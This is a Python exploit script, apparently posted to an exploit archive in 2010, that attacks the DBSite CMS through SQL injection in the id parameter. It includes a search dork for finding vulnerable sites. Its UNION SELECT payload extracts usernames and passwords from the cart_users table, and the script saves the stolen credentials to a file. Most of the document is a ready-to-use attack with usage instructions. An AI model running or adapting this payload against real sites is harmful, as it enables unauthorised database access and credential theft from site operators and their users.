DBSite SQL Injection

`#!/usr/bin/env python  
# -*- coding: utf-8 -*-  
# --------------------------------------------------------  
# Exploit Title: DBSite Remote SQL Injection Vulnerability  
# Date: 13/10/2010  
# Author: God_Of_Pain  
# Version: 1.0  
# Tested on: Linux  
# --------------------------------------------------------  
# ========================================================  
# Greetz to: LordTittiS3000 && System_Overide  
# Example: http://www.site.it/index.php?id=[SQLi]  
# Dork: intext:"Powered by DBSite" inurl:index.php?id=  
# ========================================================  
  
import urllib2  
import sys  
import re  
import os  
import time  
import platform  
  
if platform.system() == "Linux":  
os.system('clear')  
elif platform.system() == "Windows":  
os.system('cls')  
  
try:  
testo = """  
*****************************************************************  
* +----------------------------------------+ *  
* | CMS DBSite SQL Injection Vulnerability | *  
* +----------------------------------------+ *  
* | Bug Discovered By God_Of_Pain | *  
* +----------------------------------------+ *  
* | Exploit Coded By God_Of_Pain | *  
* +----------------------------------------+ *  
* ============================================================ *  
* +----------------------------------------------------------+ *  
* | Usage: Exploit.py <site> <id> | *  
* +----------------------------------------------------------+ *  
* | python exploit.py <http://site.com/index.php?ID=> <10> | *  
* +----------------------------------------------------------+ *  
*****************************************************************  
  
"""  
print(testo)  
time.sleep(1)  
  
target = sys.argv[1]  
ID = sys.argv[2]  
http = "http://"  
sql = "+union+select+concat(0x3e3e3e,USERNAME,0x3a3a3a,PWD,0x3e3e3e),2,3+from+cart_users--"  
newid = "-"  
spa = " "  
  
if http in target:  
del(http)  
sqli = target + newid + ID + sql  
if spa in sqli:  
del(spa)  
print "Ok, Exploiting..."  
print ""  
time.sleep(1)  
print "Please Wait..."  
print ""  
time.sleep(1)  
try:  
prov = urllib2.urlopen(sqli).read()  
prov2 = re.findall(r">>>(.*)([0-9a-zA-Z])([^<>])(.*)>>>", prov)  
if len(prov2) > 1:  
print "+--------------+"  
print "| Exploit Done |"  
print "+--------------+"  
print "User & Pwd => " + prov2[0][0] + prov2[0][1]  
time.sleep(1)  
print ""  
print "Saving User && PWD in a .txt file..."  
print ""  
o = open("User&&PwdDBSiteExploit.txt", "w")  
o.write(prov2[0][0] + prov2[0][1])  
o.close()  
print "Saved!"  
print ""  
print "Thanks for using this Exploit!"  
else:  
print "+----------------------+"  
print "| Exploit Failed |"  
print "+----------------------+"  
print "| I'm so sorry :( |"  
print "+----------------------+"  
except urllib2.HTTPError:  
print "Sorry! Exploit Failed! There is an error :("  
except IndexError:  
print "-* Good Luck! *-"  
  
# The End! :)  
# -------------------------------------  
# http://oversecuritycrew.webnet32.com/  
# -------------------------------------  
  
`